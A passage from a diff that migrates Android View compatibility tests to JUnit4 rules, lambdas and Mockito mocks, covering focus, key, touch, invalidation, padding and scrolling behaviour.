         assertFalse(view.getLocalVisibleRect(rect));
 
         final LinearLayout.LayoutParams layoutParams2 = new LinearLayout.LayoutParams(200, -10);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams2);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams2));
+        mInstrumentation.waitForIdleSync();
         assertFalse(view.getLocalVisibleRect(rect));
 
-        Display display = getActivity().getWindowManager().getDefaultDisplay();
+        Display display = mActivity.getWindowManager().getDefaultDisplay();
         int halfWidth = display.getWidth() / 2;
         int halfHeight = display.getHeight() /2;
 
         final LinearLayout.LayoutParams layoutParams3 =
                 new LinearLayout.LayoutParams(halfWidth, halfHeight);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams3);
-                view.scrollTo(20, -30);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setLayoutParams(layoutParams3);
+            view.scrollTo(20, -30);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.getLocalVisibleRect(rect));
         assertEquals(20, rect.left);
         assertEquals(-30, rect.top);
@@ -2373,6 +2452,7 @@
         }
     }
 
+    @Test
     public void testMergeDrawableStates() {
         MockView view = new MockView(mActivity);
 
@@ -2405,10 +2485,7 @@
         }
     }
 
-    public void testOnSaveAndRestoreInstanceState() {
-        // it is hard to simulate operation to make callback be called.
-    }
-
+    @Test
     public void testSaveAndRestoreHierarchyState() {
         int viewId = R.id.mock_view;
         MockView view = (MockView) mActivity.findViewById(viewId);
@@ -2453,24 +2530,22 @@
         }
     }
 
+    @Test
     public void testOnKeyDownOrUp() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setFocusable(true);
-                view.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setFocusable(true);
+            view.requestFocus();
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.isFocused());
 
         KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
         assertTrue(view.hasCalledOnKeyDown());
 
         event = new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_0);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
         assertTrue(view.hasCalledOnKeyUp());
 
         view.reset();
@@ -2478,52 +2553,50 @@
         assertFalse(view.isClickable());
         assertFalse(view.isPressed());
         event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_ENTER);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
         assertFalse(view.isPressed());
         assertTrue(view.hasCalledOnKeyDown());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setEnabled(true);
-                view.setClickable(true);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setEnabled(true);
+            view.setClickable(true);
         });
         view.reset();
-        OnClickListenerImpl listener = new OnClickListenerImpl();
+        View.OnClickListener listener = mock(View.OnClickListener.class);
         view.setOnClickListener(listener);
 
         assertFalse(view.isPressed());
         event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_ENTER);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
         assertTrue(view.isPressed());
         assertTrue(view.hasCalledOnKeyDown());
         event = new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_ENTER);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
         assertFalse(view.isPressed());
         assertTrue(view.hasCalledOnKeyUp());
-        assertTrue(listener.hasOnClick());
+        verify(listener, times(1)).onClick(view);
 
         view.setPressed(false);
-        listener.reset();
+        reset(listener);
         view.reset();
 
         assertFalse(view.isPressed());
         event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_CENTER);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
         assertTrue(view.isPressed());
         assertTrue(view.hasCalledOnKeyDown());
         event = new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_DPAD_CENTER);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
         assertFalse(view.isPressed());
         assertTrue(view.hasCalledOnKeyUp());
-        assertTrue(listener.hasOnClick());
+        verify(listener, times(1)).onClick(view);
     }
 
     private void checkBounds(final ViewGroup viewGroup, final View view,
             final CountDownLatch countDownLatch, final int left, final int top,
             final int width, final int height) {
-        viewGroup.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() {
+        viewGroup.getViewTreeObserver().addOnPreDrawListener(
+                new ViewTreeObserver.OnPreDrawListener() {
             @Override
             public boolean onPreDraw() {
                 assertEquals(left, view.getLeft());
@@ -2537,11 +2610,12 @@
         });
     }
 
+    @Test
     public void testAddRemoveAffectsWrapContentLayout() throws Throwable {
         final int childWidth = 100;
         final int childHeight = 200;
         final int parentHeight = 400;
-        final MockLinearLayout parent = new MockLinearLayout(mActivity);
+        final LinearLayout parent = new LinearLayout(mActivity);
         ViewGroup.LayoutParams parentParams = new ViewGroup.LayoutParams(
                 ViewGroup.LayoutParams.WRAP_CONTENT, parentHeight);
         parent.setLayoutParams(parentParams);
@@ -2557,38 +2631,30 @@
         // Add the child view to the parent, test that parent has same width as child
         // Remove the child view from the parent, test that parent is 0xparentHeight
         final CountDownLatch countDownLatch1 = new CountDownLatch(1);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                viewGroup.removeAllViews();
-                viewGroup.addView(parent);
-                checkBounds(viewGroup, parent, countDownLatch1, 0, 0, 0, parentHeight);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            viewGroup.removeAllViews();
+            viewGroup.addView(parent);
+            checkBounds(viewGroup, parent, countDownLatch1, 0, 0, 0, parentHeight);
         });
         countDownLatch1.await(500, TimeUnit.MILLISECONDS);
 
         final CountDownLatch countDownLatch2 = new CountDownLatch(1);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                parent.addView(child);
-                checkBounds(viewGroup, parent, countDownLatch2, 0, 0, childWidth, parentHeight);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            parent.addView(child);
+            checkBounds(viewGroup, parent, countDownLatch2, 0, 0, childWidth, parentHeight);
         });
         countDownLatch2.await(500, TimeUnit.MILLISECONDS);
 
         final CountDownLatch countDownLatch3 = new CountDownLatch(1);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                parent.removeView(child);
-                checkBounds(viewGroup, parent, countDownLatch3, 0, 0, 0, parentHeight);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            parent.removeView(child);
+            checkBounds(viewGroup, parent, countDownLatch3, 0, 0, 0, parentHeight);
         });
         countDownLatch3.await(500, TimeUnit.MILLISECONDS);
     }
 
     @UiThreadTest
+    @Test
     public void testDispatchKeyEvent() {
         MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         MockView mockView1 = new MockView(mActivity);
@@ -2642,15 +2708,21 @@
 
         view.reset();
         event = new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_0);
-        OnKeyListenerImpl listener = new OnKeyListenerImpl();
+        View.OnKeyListener listener = mock(View.OnKeyListener.class);
+        doReturn(true).when(listener).onKey(any(), anyInt(), any());
         view.setOnKeyListener(listener);
-        assertFalse(listener.hasOnKey());
+        verifyZeroInteractions(listener);
         assertTrue(view.dispatchKeyEvent(event));
-        assertTrue(listener.hasOnKey());
+        ArgumentCaptor<KeyEvent> keyEventCaptor = ArgumentCaptor.forClass(KeyEvent.class);
+        verify(listener, times(1)).onKey(eq(view), eq(KeyEvent.KEYCODE_0),
+                keyEventCaptor.capture());
+        assertEquals(KeyEvent.ACTION_UP, keyEventCaptor.getValue().getAction());
+        assertEquals(KeyEvent.KEYCODE_0, keyEventCaptor.getValue().getKeyCode());
         assertFalse(view.hasCalledOnKeyUp());
     }
 
     @UiThreadTest
+    @Test
     public void testDispatchTouchEvent() {
         ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
         MockView mockView1 = new MockView(mActivity);
@@ -2682,45 +2754,35 @@
         assertTrue(mockView2.hasCalledOnTouchEvent());
 
         mockView1.reset();
-        OnTouchListenerImpl listener = new OnTouchListenerImpl();
+        View.OnTouchListener listener = mock(View.OnTouchListener.class);
+        doReturn(true).when(listener).onTouch(any(), any());
         mockView1.setOnTouchListener(listener);
-        assertFalse(listener.hasOnTouch());
+        verifyZeroInteractions(listener);
         assertTrue(mockView1.dispatchTouchEvent(event));
-        assertTrue(listener.hasOnTouch());
+        verify(listener, times(1)).onTouch(mockView1, event);
         assertFalse(mockView1.hasCalledOnTouchEvent());
     }
 
+    @Test
     public void testInvalidate1() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         assertTrue(view.hasCalledOnDraw());
 
         view.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.invalidate();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return view.hasCalledOnDraw();
-            }
-        }.run();
+        mActivityRule.runOnUiThread(view::invalidate);
+        mInstrumentation.waitForIdleSync();
+        PollingCheck.waitFor(view::hasCalledOnDraw);
 
         view.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setVisibility(View.INVISIBLE);
-                view.invalidate();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setVisibility(View.INVISIBLE);
+            view.invalidate();
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertFalse(view.hasCalledOnDraw());
     }
 
+    @Test
     public void testInvalidate2() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         assertTrue(view.hasCalledOnDraw());
@@ -2734,32 +2796,20 @@
         view.reset();
         final Rect dirty = new Rect(view.getLeft() + 1, view.getTop() + 1,
                 view.getLeft() + view.getWidth() / 2, view.getTop() + view.getHeight() / 2);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.invalidate(dirty);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return view.hasCalledOnDraw();
-            }
-        }.run();
+        mActivityRule.runOnUiThread(() -> view.invalidate(dirty));
+        mInstrumentation.waitForIdleSync();
+        PollingCheck.waitFor(view::hasCalledOnDraw);
 
         view.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setVisibility(View.INVISIBLE);
-                view.invalidate(dirty);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setVisibility(View.INVISIBLE);
+            view.invalidate(dirty);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertFalse(view.hasCalledOnDraw());
     }
 
+    @Test
     public void testInvalidate3() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         assertTrue(view.hasCalledOnDraw());
@@ -2767,61 +2817,37 @@
         view.reset();
         final Rect dirty = new Rect(view.getLeft() + 1, view.getTop() + 1,
                 view.getLeft() + view.getWidth() / 2, view.getTop() + view.getHeight() / 2);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.invalidate(dirty.left, dirty.top, dirty.right, dirty.bottom);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return view.hasCalledOnDraw();
-            }
-        }.run();
+        mActivityRule.runOnUiThread(
+                () -> view.invalidate(dirty.left, dirty.top, dirty.right, dirty.bottom));
+        mInstrumentation.waitForIdleSync();
+        PollingCheck.waitFor(view::hasCalledOnDraw);
 
         view.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setVisibility(View.INVISIBLE);
-                view.invalidate(dirty.left, dirty.top, dirty.right, dirty.bottom);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setVisibility(View.INVISIBLE);
+            view.invalidate(dirty.left, dirty.top, dirty.right, dirty.bottom);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertFalse(view.hasCalledOnDraw());
     }
 
+    @Test
     public void testInvalidateDrawable() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         final Drawable d1 = mResources.getDrawable(R.drawable.scenery);
         final Drawable d2 = mResources.getDrawable(R.drawable.pass);
 
         view.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setBackgroundDrawable(d1);
-                view.invalidateDrawable(d1);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setBackgroundDrawable(d1);
+            view.invalidateDrawable(d1);
         });
-        getInstrumentation().waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return view.hasCalledOnDraw();
-            }
-        }.run();
+        mInstrumentation.waitForIdleSync();
+        PollingCheck.waitFor(view::hasCalledOnDraw);
 
         view.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.invalidateDrawable(d2);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.invalidateDrawable(d2));
+        mInstrumentation.waitForIdleSync();
         assertFalse(view.hasCalledOnDraw());
 
         MockView viewTestNull = new MockView(mActivity);
@@ -2833,6 +2859,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnFocusChanged() {
         MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
@@ -2848,6 +2875,15 @@
         assertTrue(view.hasCalledOnFocusChanged());
     }
 
+    @UiThreadTest
+    @Test
+    public void testRestoreDefaultFocus() {
+        MockView view = new MockView(mActivity);
+        view.restoreDefaultFocus();
+        assertTrue(view.hasCalledRequestFocus());
+    }
+
+    @Test
     public void testDrawableState() {
         MockView view = new MockView(mActivity);
         view.setParent(mMockParent);
@@ -2879,23 +2915,14 @@
         assertTrue(view.hasCalledOnCreateDrawableState());
     }
 
+    @Test
     public void testWindowFocusChanged() {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
         // Wait until the window has been focused.
-        new PollingCheck(TIMEOUT_DELTA) {
-            @Override
-            protected boolean check() {
-                return view.hasWindowFocus();
-            }
-        }.run();
+        PollingCheck.waitFor(TIMEOUT_DELTA, view::hasWindowFocus);
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return view.hasCalledOnWindowFocusChanged();
-            }
-        }.run();
+        PollingCheck.waitFor(view::hasCalledOnWindowFocusChanged);
 
         assertTrue(view.hasCalledOnWindowFocusChanged());
         assertTrue(view.hasCalledDispatchWindowFocusChanged());
@@ -2904,15 +2931,10 @@
         assertFalse(view.hasCalledOnWindowFocusChanged());
         assertFalse(view.hasCalledDispatchWindowFocusChanged());
 
-        CtsActivity activity = launchActivity("android.view.cts", CtsActivity.class, null);
+        CtsActivity activity = mCtsActivityRule.launchActivity(null);
 
         // Wait until the window lost focus.
-        new PollingCheck(TIMEOUT_DELTA) {
-            @Override
-            protected boolean check() {
-                return !view.hasWindowFocus();
-            }
-        }.run();
+        PollingCheck.waitFor(TIMEOUT_DELTA, () -> !view.hasWindowFocus());
 
         assertTrue(view.hasCalledOnWindowFocusChanged());
         assertTrue(view.hasCalledDispatchWindowFocusChanged());
@@ -2920,20 +2942,17 @@
         activity.finish();
     }
 
+    @Test
     public void testDraw() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.requestLayout();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(view::requestLayout);
+        mInstrumentation.waitForIdleSync();
 
         assertTrue(view.hasCalledOnDraw());
         assertTrue(view.hasCalledDispatchDraw());
     }
 
+    @Test
     public void testRequestFocusFromTouch() {
         View view = new View(mActivity);
         view.setFocusable(true);
@@ -2946,6 +2965,7 @@
         assertTrue(view.isFocused());
     }
 
+    @Test
     public void testRequestRectangleOnScreen1() {
         MockView view = new MockView(mActivity);
         Rect rectangle = new Rect(10, 10, 20, 30);
@@ -2977,6 +2997,7 @@
         }
     }
 
+    @Test
     public void testRequestRectangleOnScreen2() {
         MockView view = new MockView(mActivity);
         Rect rectangle = new Rect();
@@ -3018,14 +3039,17 @@
         }
     }
 
+    @Test
     public void testRequestRectangleOnScreen3() {
         requestRectangleOnScreenTest(false);
     }
 
+    @Test
     public void testRequestRectangleOnScreen4() {
         requestRectangleOnScreenTest(true);
     }
 
+    @Test
     public void testRequestRectangleOnScreen5() {
         MockView child = new MockView(mActivity);
 
@@ -3068,6 +3092,7 @@
         assertEquals(new Rect(9, 8, 11, 11), grandParent.getLastRequestedChildRectOnScreen());
     }
 
+    @Test
     public void testRequestRectangleOnScreenWithScale() {
         // scale should not affect the rectangle
         MockView child = new MockView(mActivity);
@@ -3094,9 +3119,10 @@
         } catch (InterruptedException e) {
             Log.e(LOG_TAG, "waitPrepressedTimeout() interrupted! Test may fail!", e);
         }
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
     }
 
+    @Test
     public void testOnTouchEvent() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
@@ -3104,18 +3130,15 @@
         assertFalse(view.isClickable());
         assertFalse(view.isLongClickable());
 
-        TouchUtils.clickView(this, view);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, view);
         assertTrue(view.hasCalledOnTouchEvent());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setEnabled(true);
-                view.setClickable(true);
-                view.setLongClickable(true);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setEnabled(true);
+            view.setClickable(true);
+            view.setLongClickable(true);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.isEnabled());
         assertTrue(view.isClickable());
         assertTrue(view.isLongClickable());
@@ -3134,7 +3157,7 @@
         MotionEvent event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_DOWN,
                 x, y, 0);
         assertFalse(view.isPressed());
-        getInstrumentation().sendPointerSync(event);
+        mInstrumentation.sendPointerSync(event);
         waitPrepressedTimeout();
         assertTrue(view.hasCalledOnTouchEvent());
         assertTrue(view.isPressed());
@@ -3148,7 +3171,7 @@
         x = xy[0] + viewWidth + slop;
         y = xy[1] + viewHeight + slop;
         event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_MOVE, x, y, 0);
-        getInstrumentation().sendPointerSync(event);
+        mInstrumentation.sendPointerSync(event);
         assertTrue(view.hasCalledOnTouchEvent());
         assertFalse(view.isPressed());
 
@@ -3159,21 +3182,21 @@
         x = xy[0] + viewWidth - 1;
         y = xy[1] + viewHeight - 1;
         event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_MOVE, x, y, 0);
-        getInstrumentation().sendPointerSync(event);
+        mInstrumentation.sendPointerSync(event);
         waitPrepressedTimeout();
         assertTrue(view.hasCalledOnTouchEvent());
         assertFalse(view.isPressed());
 
         // MotionEvent.ACTION_UP
-        OnClickListenerImpl listener = new OnClickListenerImpl();
+        View.OnClickListener listener = mock(View.OnClickListener.class);
         view.setOnClickListener(listener);
         view.reset();
         downTime = SystemClock.uptimeMillis();
         eventTime = SystemClock.uptimeMillis();
         event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_UP, x, y, 0);
-        getInstrumentation().sendPointerSync(event);
+        mInstrumentation.sendPointerSync(event);
         assertTrue(view.hasCalledOnTouchEvent());
-        assertFalse(listener.hasOnClick());
+        verifyZeroInteractions(listener);
 
         view.reset();
         x = xy[0] + viewWidth / 2.0f;
@@ -3181,21 +3204,22 @@
         downTime = SystemClock.uptimeMillis();
         eventTime = SystemClock.uptimeMillis();
         event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_DOWN, x, y, 0);
-        getInstrumentation().sendPointerSync(event);
+        mInstrumentation.sendPointerSync(event);
         assertTrue(view.hasCalledOnTouchEvent());
 
         // MotionEvent.ACTION_CANCEL
         view.reset();
-        listener.reset();
+        reset(listener);
         downTime = SystemClock.uptimeMillis();
         eventTime = SystemClock.uptimeMillis();
         event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_CANCEL, x, y, 0);
-        getInstrumentation().sendPointerSync(event);
+        mInstrumentation.sendPointerSync(event);
         assertTrue(view.hasCalledOnTouchEvent());
         assertFalse(view.isPressed());
-        assertFalse(listener.hasOnClick());
+        verifyZeroInteractions(listener);
     }
 
+    @Test
     public void testBringToFront() {
         MockView view = new MockView(mActivity);
         view.setParent(mMockParent);
@@ -3205,6 +3229,7 @@
         assertTrue(mMockParent.hasBroughtChildToFront());
     }
 
+    @Test
     public void testGetApplicationWindowToken() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -3215,32 +3240,38 @@
         assertNotNull(view.getApplicationWindowToken());
     }
 
+    @Test
     public void testGetBottomPaddingOffset() {
         MockView view = new MockView(mActivity);
         assertEquals(0, view.getBottomPaddingOffset());
     }
 
+    @Test
     public void testGetLeftPaddingOffset() {
         MockView view = new MockView(mActivity);
         assertEquals(0, view.getLeftPaddingOffset());
     }
 
+    @Test
     public void testGetRightPaddingOffset() {
         MockView view = new MockView(mActivity);
         assertEquals(0, view.getRightPaddingOffset());
     }
 
+    @Test
     public void testGetTopPaddingOffset() {
         MockView view = new MockView(mActivity);
         assertEquals(0, view.getTopPaddingOffset());
     }
 
+    @Test
     public void testIsPaddingOffsetRequired() {
         MockView view = new MockView(mActivity);
         assertFalse(view.isPaddingOffsetRequired());
     }
 
     @UiThreadTest
+    @Test
     public void testPadding() {
         MockView view = (MockView) mActivity.findViewById(R.id.mock_view_padding_full);
         Drawable background = view.getBackground();
@@ -3370,6 +3401,7 @@
         assertEquals(0, view.getPaddingBottom());
     }
 
+    @Test
     public void testGetWindowVisibleDisplayFrame() {
         Rect outRect = new Rect();
         View view = new View(mActivity);
@@ -3390,55 +3422,47 @@
         view.getWindowVisibleDisplayFrame(outRect);
     }
 
+    @Test
     public void testSetScrollContainer() throws Throwable {
         final MockView mockView = (MockView) mActivity.findViewById(R.id.mock_view);
         final MockView scrollView = (MockView) mActivity.findViewById(R.id.scroll_view);
         Bitmap bitmap = Bitmap.createBitmap(200, 300, Bitmap.Config.RGB_565);
         final BitmapDrawable d = new BitmapDrawable(bitmap);
-        final InputMethodManager imm = (InputMethodManager)getActivity().getSystemService(
+        final InputMethodManager imm = (InputMethodManager) mActivity.getSystemService(
                 Context.INPUT_METHOD_SERVICE);
         final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(300, 500);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mockView.setBackgroundDrawable(d);
-                mockView.setHorizontalFadingEdgeEnabled(true);
-                mockView.setVerticalFadingEdgeEnabled(true);
-                mockView.setLayoutParams(layoutParams);
-                scrollView.setLayoutParams(layoutParams);
+        mActivityRule.runOnUiThread(() -> {
+            mockView.setBackgroundDrawable(d);
+            mockView.setHorizontalFadingEdgeEnabled(true);
+            mockView.setVerticalFadingEdgeEnabled(true);
+            mockView.setLayoutParams(layoutParams);
+            scrollView.setLayoutParams(layoutParams);
 
-                mockView.setFocusable(true);
-                mockView.requestFocus();
-                mockView.setScrollContainer(true);
-                scrollView.setScrollContainer(false);
-                imm.showSoftInput(mockView, 0);
-            }
+            mockView.setFocusable(true);
+            mockView.requestFocus();
+            mockView.setScrollContainer(true);
+            scrollView.setScrollContainer(false);
+            imm.showSoftInput(mockView, 0);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
         // FIXME: why the size of view doesn't change?
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                imm.hideSoftInputFromInputMethod(mockView.getWindowToken(), 0);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(
+                () -> imm.hideSoftInputFromInputMethod(mockView.getWindowToken(), 0));
+        mInstrumentation.waitForIdleSync();
     }
 
+    @Test
     public void testTouchMode() throws Throwable {
         final MockView mockView = (MockView) mActivity.findViewById(R.id.mock_view);
         final View fitWindowsView = mActivity.findViewById(R.id.fit_windows);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mockView.setFocusableInTouchMode(true);
-                fitWindowsView.setFocusable(true);
-                fitWindowsView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mockView.setFocusableInTouchMode(true);
+            fitWindowsView.setFocusable(true);
+            fitWindowsView.requestFocus();
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertTrue(mockView.isFocusableInTouchMode());
         assertFalse(fitWindowsView.isFocusableInTouchMode());
         assertTrue(mockView.isFocusable());
@@ -3448,46 +3472,55 @@
         assertFalse(mockView.isInTouchMode());
         assertFalse(fitWindowsView.isInTouchMode());
 
-        TouchUtils.tapView(this, mockView);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mockView);
         assertFalse(fitWindowsView.isFocused());
         assertFalse(mockView.isFocused());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mockView.requestFocus();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(mockView::requestFocus);
+        mInstrumentation.waitForIdleSync();
         assertTrue(mockView.isFocused());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                fitWindowsView.requestFocus();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(fitWindowsView::requestFocus);
+        mInstrumentation.waitForIdleSync();
         assertFalse(fitWindowsView.isFocused());
         assertTrue(mockView.isInTouchMode());
         assertTrue(fitWindowsView.isInTouchMode());
 
         KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
-        getInstrumentation().sendKeySync(keyEvent);
+        mInstrumentation.sendKeySync(keyEvent);
         assertTrue(mockView.isFocused());
         assertFalse(fitWindowsView.isFocused());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                fitWindowsView.requestFocus();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(fitWindowsView::requestFocus);
+        mInstrumentation.waitForIdleSync();
         assertFalse(mockView.isFocused());
         assertTrue(fitWindowsView.isFocused());
         assertFalse(mockView.isInTouchMode());
         assertFalse(fitWindowsView.isInTouchMode());
+
+        // Mouse events should not trigger touch mode.
+        final MotionEvent event =
+                CtsMouseUtil.obtainMouseEvent(MotionEvent.ACTION_SCROLL, mockView, 0, 0);
+        mInstrumentation.sendPointerSync(event);
+        assertFalse(fitWindowsView.isInTouchMode());
+
+        event.setAction(MotionEvent.ACTION_DOWN);
+        mInstrumentation.sendPointerSync(event);
+        assertFalse(fitWindowsView.isInTouchMode());
+
+        // Stylus events should not trigger touch mode.
+        event.setSource(InputDevice.SOURCE_STYLUS);
+        mInstrumentation.sendPointerSync(event);
+        assertFalse(fitWindowsView.isInTouchMode());
+
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mockView);
+        assertTrue(fitWindowsView.isInTouchMode());
+
+        event.setSource(InputDevice.SOURCE_MOUSE);
+        event.setAction(MotionEvent.ACTION_DOWN);
+        mInstrumentation.sendPointerSync(event);
+        assertFalse(fitWindowsView.isInTouchMode());
     }
 
     @UiThreadTest
+    @Test
     public void testScrollbarStyle() {
         MockView view = (MockView) mActivity.findViewById(R.id.scroll_view);
         Bitmap bitmap = Bitmap.createBitmap(200, 300, Bitmap.Config.RGB_565);
@@ -3524,6 +3557,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testScrollFading() {
         MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         Bitmap bitmap = Bitmap.createBitmap(200, 300, Bitmap.Config.RGB_565);
@@ -3549,6 +3583,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testScrolling() {
         MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         view.reset();
@@ -3586,6 +3621,7 @@
         assertTrue(view.hasCalledOnScrollChanged());
     }
 
+    @Test
     public void testInitializeScrollbarsAndFadingEdge() {
         MockView view = (MockView) mActivity.findViewById(R.id.scroll_view);
 
@@ -3606,6 +3642,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testScrollIndicators() {
         MockView view = (MockView) mActivity.findViewById(R.id.scroll_view);
 
@@ -3623,6 +3660,7 @@
 
     }
 
+    @Test
     public void testOnStartAndFinishTemporaryDetach() throws Throwable {
         final AtomicBoolean exitedDispatchStartTemporaryDetach = new AtomicBoolean(false);
         final AtomicBoolean exitedDispatchFinishTemporaryDetach = new AtomicBoolean(false);
@@ -3719,48 +3757,37 @@
 
         assertFalse(view.isTemporarilyDetached());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.dispatchStartTemporaryDetach();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(view::dispatchStartTemporaryDetach);
+        mInstrumentation.waitForIdleSync();
 
         assertTrue(view.isTemporarilyDetached());
         assertTrue(exitedDispatchStartTemporaryDetach.get());
         assertFalse(exitedDispatchFinishTemporaryDetach.get());
 
-        runTestOnUiThread(new Runnable() {
